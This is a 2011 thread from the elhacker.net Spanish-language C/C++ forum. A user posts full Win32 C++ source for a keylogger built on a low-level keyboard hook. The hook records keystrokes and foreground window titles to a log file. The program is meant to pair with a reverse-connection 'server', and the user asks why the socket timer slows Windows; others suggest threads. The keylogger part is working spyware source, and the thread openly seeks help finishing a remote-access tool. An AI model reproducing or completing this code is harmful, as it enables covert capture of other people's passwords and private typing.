elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Sockets, hasta aquí llegue.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Sockets, hasta aquí llegue.  (Leído 2,441 veces)
yovaninu


Desconectado Desconectado

Mensajes: 349



Ver Perfil
Sockets, hasta aquí llegue.
« en: 22 Agosto 2011, 20:24 pm »

Le he dado vueltas y vueltas al tema de Sockets para reescribir mi servidor en C++ (usando Visual Studio 2005) y llegue a este punto del cual me es imposible salir sin su ayuda, se que el codigo puede estar un tanto desordenado pero ruego que me entiendan  y desde ya gracias por su ayuda.

En fin posteo mi avance para que alguien que se anime a compilarlo y ver por que se dan los errores que explico a continuacion:

 1. Es un proyecto normal de Win32 (Con ventana)
 2. En la entrada principal al WinMain instalo el hook al teclado
 3. Luego Inicializo el Socket
 4. En el mensaje WM_CREATE, creo un timer cada 2 segundos
 5. Al recibir el evento WM_TIMER, hago que mi timer envie la peticion cada 2 segundos. Y AL HACER ESTO, TODO WINDOWS QUEDA SEMI BLOQUEADO, LAS LETRAS TARDAN EN APARECER POR EJEMPLO EN EL BLOC DE NOTAS LAS VENTANAS DIFICILMENTE SE ARRASTRAN Y EL HOOK DEL KEYLOGGER FUNCIONA A MEDIAS AL NO LOGEAR ALGUNAS TECLAS DE LO QUE SE ESCRIBE.

PERO SI QUITO LAS LLAMADAS A LAS FUNCIONES QUE INICIALIZAN O CONECTAN EL SOCKET TODO FUNCIONA BIEN. LO QUE ME HACE PENSAR QUE ALGO VA MAL ALLI.








La idea de este codigo es un Server (Conexion Inversa) que deberia funcionar al lado de un Hook al teclado. 

Veamos:

  • Archivo->Nuevo->Proyecto->Aplicacion Win 32
  • ALT+F7->Propiedades de Configuracion->Juego de Caracteres->Multibyte


Código
  1.  
  2. #define _WIN32_WINNT 0x0500
  3. #define _CRT_SECURE_NO_DEPRECATE
  4.  
  5. #include <windows.h>
  6. #include <stdlib.h>
  7. #include <tchar.h>
  8. #include <iostream>
  9. #include <string>
  10. #include <atlstr.h>
  11. #include <stdio.h>
  12. #include <winuser.h>
  13. #pragma comment(lib,"ws2_32.lib")
  14. using namespace std;
  15.  
  16.  
  17.  
  18. //FUNCION QUE MUESTRA EN EL TITULO LO QUE LE INDIQUEMOS, PARA FINES DE DEPURACION
  19. void AlTitulo(char *Buffer);
  20.  
  21.  
  22. //FUNCION DEL KEYLOGGER: MIRA SI LA TECLA CAPS ESTA PRESIONADA O NO
  23. int isCapsLock(){
  24.     if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0)   return 1;
  25.     else   return 0; }
  26.  
  27. //CALLBACK DEL HOOK AL TECLADO
  28. LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam);
  29.  
  30. //ALGUNAS VARIABLES PARA EL KEYLOGGER
  31. HWND ventana; //EL HANDLE DE LA VENTANA ACTIVA
  32. char TVentana[500]; //EL TITULO
  33. char tp[500];
  34. char bufferKL[5];
  35. string HISTORY; //DONDE ACUMULAREMOS LO QUE SE ESTA DIGITANDO
  36.  
  37.  
  38.  
  39.  
  40. //DEFINICIONES PARA NUESTRO SOCKET
  41. WSADATA wsa;
  42. SOCKET sock;
  43. struct hostent *host;
  44. struct sockaddr_in direc;
  45. int conex;
  46. int ts=-1;
  47. int len=100;
  48. char Buffer[1024];
  49.  
  50. //UNA FORMA DE SEPARAR LO QUE LLEGARA DESDE EL CLIENTE
  51. void DArrival();
  52.  
  53.  
  54. //FUNCIONES PARA MANIPULAR NUESTRO SOCKET
  55.  
  56.                       //INICIALIZAMOS NUESTRO SOCKET
  57. void inicializar(){
  58.   WSAStartup(MAKEWORD(2,2),&wsa);  
  59.   host=gethostbyname("127.0.0.1");
  60.   //creamos el socket
  61.   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  62.  
  63.   //direccion y puerto
  64.   direc.sin_family=AF_INET;
  65.   direc.sin_port=htons(1234);
  66.   direc.sin_addr = *((struct in_addr *)host->h_addr);
  67.   memset(direc.sin_zero,0,8);
  68.  
  69. }
  70.  
  71.                       //CONECTAMOS, NOS DEVOLVERA UN VALOR SEGUN SI SE CONECTA O NO
  72. int conectar(){
  73.   //Intentamos establecer la conexión hasta que lo logremos
  74.   conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
  75.   return conex;
  76. }
  77.  
  78. //PARA CERRAR EL SOCKET
  79.                       void cerrar(){
  80. closesocket(sock);
  81. }
  82.  
  83.  
  84.  
  85. MSG messages; //PARA EL BUCLE DE MENSAJES DE LA APLICACION
  86.  
  87.  
  88. #define TIMER_ID1 1 /*PRIMER TIMER QUE SE ENCARGARA DE LANZAR LOS INTENTOS DE CONEXION CADA 2 SEGUINDOS*/
  89.  
  90. // El nombre de la clase de la ventana principal
  91. static TCHAR szWindowClass[] = _T("VentanaWin32");
  92.  
  93. // El texto que aparece en la ventana principal
  94. static TCHAR szTitle[] = _T("Una ventana tipica de win32");
  95.  
  96.  
  97. HINSTANCE hInst; //variable global sacar el HINSTANCE del WinMain
  98.  
  99. //El propósito de esta función es procesar cualquier mensaje que nuestra aplicación reciba del sistema operativo
  100. LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
  101.  
  102.  
  103.  
  104. UINT mt; //PARA IDENTIFICAR A NUESTRO /*PRIMER TIMER*/
  105.  
  106. //FUNCION PRINCIPAL
  107. int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  108. /*ENTRADA PRINCIPAL: COMIENZA LA ODISEA...*/
  109. {
  110.  
  111. len=sizeof(struct sockaddr); //INICIAMOS LEN PARA NUESTRO SOCKET
  112. inicializar(); //INICIALIZAMOS EL SOCKET /*SI QUITO ESTO TODO VA BIEN, SINO WINDOWS VA MUY LENTO: PERO SI LO QUITO COMO Y DONDE INICIALIZO EL SOCKET??? */
  113.  
  114.        //INSTALAMOS EL HOOK AL TECLADO
  115. HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,capturaTeclas,hInstance,0);
  116.  
  117.  
  118.    //Esta estructura contiene información sobre la ventana
  119.    WNDCLASSEX wcex;
  120.    wcex.cbSize = sizeof(WNDCLASSEX);
  121.    wcex.style          = CS_HREDRAW | CS_VREDRAW;
  122.    wcex.lpfnWndProc    = WndProc;
  123.    wcex.cbClsExtra     = 0;
  124.    wcex.cbWndExtra     = 0;
  125.    wcex.hInstance      = hInstance;
  126.    wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
  127.    wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
  128.    wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
  129.    wcex.lpszMenuName   = NULL;
  130.    wcex.lpszClassName  = szWindowClass;
  131.    wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
  132.  
  133.    //registramos la clase
  134. if (!RegisterClassEx(&wcex)) return 1;
  135.  
  136.    //almacenamos 'hInstance' que es un parametro de la funcion principal WinMain en una variable Global
  137. hInst = hInstance;
  138.  
  139.    //parametros para crear la ventana  principal
  140. HWND hWnd = CreateWindow(szWindowClass,szTitle,WS_OVERLAPPEDWINDOW,CW_USEDEFAULT, CW_USEDEFAULT,500, 200,NULL,NULL,hInstance,NULL);
  141.  
  142. //mostramos la ventanA
  143.    ShowWindow(hWnd,nCmdShow);
  144.    UpdateWindow(hWnd);
  145.  
  146.  
  147.   MSG msg;
  148.    while (GetMessage(&msg, NULL, 0, 0))
  149.    {
  150.        TranslateMessage(&msg);
  151.        DispatchMessage(&msg);
  152.    }
  153.  
  154.    return (int) msg.wParam;
  155. }
  156.  
  157.  
  158. //funcion para procesar los mensajes de la ventana principal
  159. LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
  160. {
  161.    PAINTSTRUCT ps;
  162.    HDC hdc;
  163.    TCHAR greeting[] = _T("Hola A todos");
  164.  
  165.    switch (message)
  166.    {
  167. case WM_CREATE:
  168.               /*CREAMOS NUESTRO TIMER QUE HARA QUE EL SOCKET LANZE LA PETICION DE CONEXION CADA 2 SEGUNDOS*/
  169. mt=SetTimer(hWnd, TIMER_ID1, 2000, 0);
  170. break;
  171.  
  172.  
  173.        //USAMOS ESTE MENSAJE EN VEZ DE UN CALLBACK
  174. case WM_TIMER:
  175. switch (wParam){
  176. case TIMER_ID1: /*<--- PRIMER TIMER */
  177.  
  178.      //CADA 2 SEGUNDOS INTENTARA CONECTAR
  179.                                                       if(ts==-1){
  180. ts=conectar(); /*IGUAL: SI QUITO ESTO VA BIEN PERO SINO WINDOWS VA MAL*/
  181.                                                       //Y NOS AVISARA EN EL TITULO DE LA VENTANA
  182. AlTitulo("Intento de conexion enviada...");
  183. }
  184.                                                       //CUANDO LOGRE CONECTARSE...
  185.                                                        else{
  186. DArrival(); //LLAMAMOS A ESTA FUNCION
  187. KillTimer(NULL,mt);
  188.  
  189. }
  190.  
  191. break;
  192.  
  193.  
  194.  
  195.                                //MAS ADELANTE QUIZA NECESITEMOS UN SEGUNDO TIMER
  196. //case TIMER_ID2: //<--- Segundo Timer
  197. //break;
  198. }
  199.  
  200. break;
  201.  
  202.  
  203.  
  204.    case WM_PAINT:
  205.       hdc = BeginPaint(hWnd, &ps); //aqui iniciamos
  206.      //MOSTRAMOS UN SALUDO
  207.       TextOut(hdc,5, 5,greeting, _tcslen(greeting));
  208.        EndPaint(hWnd, &ps); //aqui terminamos
  209.    break;
  210.  
  211.  
  212.    case WM_DESTROY:
  213.        PostQuitMessage(0);
  214.        break;
  215.  
  216.    default:
  217.        return DefWindowProc(hWnd, message, wParam, lParam);
  218.        break;
  219.    }
  220.  
  221.    return 0;
  222. }
  223.  
  224.  
  225. /*LA FUNCION QUE DEBERIA LLAMARSE CUANDO EL SOCKET SE CONECTA*/
  226. /*PERO ESTO YA NO SE EJECUTA O AL MENOS NO HIZE LAS PRUEBAS HASTA AQUI*/
  227. void DArrival(){
  228. while (len!=0){ //mientras estemos conectados
  229.   len=recv(sock,Buffer,1023,0); //recibimos los datos que envie
  230.  
  231. if (len>0){ //si seguimos conectados
  232. Buffer[len]=0; //le ponemos el final de cadena
  233.  
  234. AlTitulo(Buffer);
  235.  
  236.  
  237. }
  238. }
  239. ts=-1;
  240.  
  241. }
  242.  
  243.  
  244.  
  245.  
  246.  
  247.  
  248.  
  249.  
  250.  
  251.  
  252.  
  253.  
  254.  
  255.  
  256.  
  257.  
  258.  
  259.  
  260.  
  261. //DEFINICION DE LA FUNCION DEL HOOK, ESTO FUNCIONA NO HAY MUCHO QUE DECIR AQUI.
  262. LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam) {
  263.  
  264. PKBDLLHOOKSTRUCT puntero = (PKBDLLHOOKSTRUCT) (lParam);
  265. DWORD Tecla = puntero->vkCode;
  266.  
  267.     //vemos si wParam es igual a WM_KEYDOWN (tecla presionada)
  268. if (wParam == WM_KEYDOWN ||  wParam == WM_SYSKEYDOWN) {
  269. switch (puntero->vkCode) {
  270. case VK_RETURN: //SI PRESIONA ENTER GUARDAMOS EN EL LOG LO QUE SE HA ACUMULADO EN 'HISTORY'
  271.  
  272. HISTORY.append("\n");
  273.  
  274. {
  275. FILE *mif=fopen("logger2.txt","a+");
  276. fputs(HISTORY.c_str(),mif); //guardamos.
  277. fclose(mif);
  278. }
  279. HISTORY="";
  280.  
  281. break;  //se presiono un enter
  282.  
  283. case VK_LMENU: HISTORY.append("[AI]"); break;  //la tecla alt
  284. case VK_RMENU:  HISTORY.append("[AD]"); break;  //la tecla alt
  285. case VK_BACK: HISTORY.append("[<]");    break; //la tecla retroceso
  286. case VK_TAB: HISTORY.append("[T]");    break; //la tecla tabulador
  287. case VK_END : HISTORY.append("[F]");    break; //la tecla fin
  288. case VK_HOME: HISTORY.append("[I]");    break; //la tecla home
  289. case VK_LEFT: HISTORY.append("[L]");    break; //la tecla felcha izquierda
  290. case VK_UP: HISTORY.append("[U]");    break; //la tecla flecha arriba
  291. case VK_RIGHT: HISTORY.append("[R]");    break; //la tecla flecha derecha
  292. case VK_DOWN: HISTORY.append("[D]");    break; //la tecla flecha abajo
  293. case VK_DELETE: HISTORY.append("[S]");    break; //la tecla suprimir
  294. case VK_MULTIPLY:HISTORY.append("*");    break; //la tecla * del teclado num
  295. case VK_ADD: HISTORY.append("+");    break; //la tecla + del teclado num
  296. case VK_SUBTRACT:HISTORY.append("-");    break; //la tecla -
  297. case VK_DIVIDE: HISTORY.append("/");    break; //la tecla /
  298. case VK_DECIMAL:HISTORY.append(".");    break; //la tecla . del teclado num
  299. case VK_CAPITAL:HISTORY.append("[CAPS]");    break; //CAPS LOCK
  300.  
  301. //registramos las teclas normales
  302. default:
  303. if ((puntero->vkCode>64)&&(puntero->vkCode<91)){
  304. if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())){
  305. puntero->vkCode+=32;
  306.  
  307.  
  308.  
  309. sprintf(bufferKL,"%c",puntero->vkCode);
  310. HISTORY.append(bufferKL);
  311.  
  312. }else{
  313. sprintf(bufferKL,"%c",puntero->vkCode);
  314. HISTORY.append(bufferKL);
  315. }
  316.  
  317. }
  318. if (Tecla==VK_SPACE){ //espacio en blanco
  319. HISTORY.append(" ");
  320. }
  321.  
  322.  
  323.  
  324. }
  325. //GUARDAMOS CON EL TITULO DE VENTANA
  326.  
  327. if(GetForegroundWindow()!=ventana){
  328. ventana=GetForegroundWindow();
  329. GetWindowText(ventana,TVentana,80);
  330. sprintf(tp,"\n[%s]\n",TVentana);
  331. HISTORY.append(tp);
  332. }
  333.  
  334. }
  335.  
  336.   //en el caso de que haya otro hook instalado, le damos el pase para que haga lo suyo
  337. return CallNextHookEx(NULL, nCode, wParam, lParam);
  338. }
  339.  
  340.  
  341.  
  342.  
  343.  
  344.  
  345.  
  346.  
  347.  
  348.  
  349.  
  350.  
  351.  
  352.  
  353.  
  354.  
  355. /*****************FUNCIONES UTILES*************************************/
  356. void AlTitulo(char *Buffer){
  357. HWND ventana;
  358. ventana=GetForegroundWindow();
  359. SetWindowText(ventana,Buffer);
  360.  
  361. }
  362.  


Resumiendo la consulta:

¿por que windows se detiene o se pone lento cuando con un timer hago que el socket de este server se conecte a su cliente?, el timer esta a 2 segundos, al sacar las llamadas a las funciones de 'inicializar' y 'conectar', todo va bien pero obviamente necesito hacer eso para poder conectarme.

Un Saludo.




En línea

ApOkAlizE

Desconectado Desconectado

Mensajes: 150


¿sabes lo que vales? ¡consigue lo que te mereces!


Ver Perfil
Re: Sockets, hasta aquí llegue.
« Respuesta #1 en: 29 Agosto 2011, 13:01 pm »

Supongo que el problema es que cada 2 segundos haces que el socket se intente conectar... no se yo de ti lo que haría es  provar que además de intentar coenctarse cada 2 segundos lo haga cada 10 por ejemplo, a ver si así va mejor...


En línea

Los virus informaticos son como las personas, hacen lo posible para destruir y hacen lo impossible para no ser destruidos... - ApOkAlizE
Khronos14


Desconectado Desconectado

Mensajes: 443


A lie is a lie


Ver Perfil WWW
Re: Sockets, hasta aquí llegue.
« Respuesta #2 en: 29 Agosto 2011, 13:42 pm »

Intenta utilizar threads.

Saludos.
En línea

yovaninu


Desconectado Desconectado

Mensajes: 349



Ver Perfil
Re: Sockets, hasta aquí llegue.
« Respuesta #3 en: 29 Agosto 2011, 16:09 pm »

Uy! Gracias por responder, como no habia mucho interes en mi problema, el tema de sockets en C++ lo deje ahi básicamente por que estaba ocupado en otros temas.

Probare aumentando el intervalo del timer aunque sospecho que el problema seguirá, lo que tambien habia pensado es TRATAR de hacerlo con hilos, pero aquella vez cuando fui al tio google no tuve suerte con un buen ejemplo claro a cerca de hilos.

Gracias y un saludo.


En línea

Queta

Desconectado Desconectado

Mensajes: 267



Ver Perfil
Re: Sockets, hasta aquí llegue.
« Respuesta #4 en: 29 Agosto 2011, 16:12 pm »

http://msdn.microsoft.com/en-us/library/ms684841.aspx
En línea

"Intenta no volverte un hombre de éxito, sino volverte un hombre de valor." Albert Einstein.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Llegue a los 1000 mensajes! « 1 2 3 »
Foro Libre
Edu 28 9,341 Último mensaje 22 Julio 2011, 01:13 am
por $Edu$
Fans de PewDiePie crean ransomware que bloquea tus archivos hasta que llegue ...
Noticias
wolfbcn 0 1,565 Último mensaje 22 Marzo 2019, 14:37 pm
por wolfbcn
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines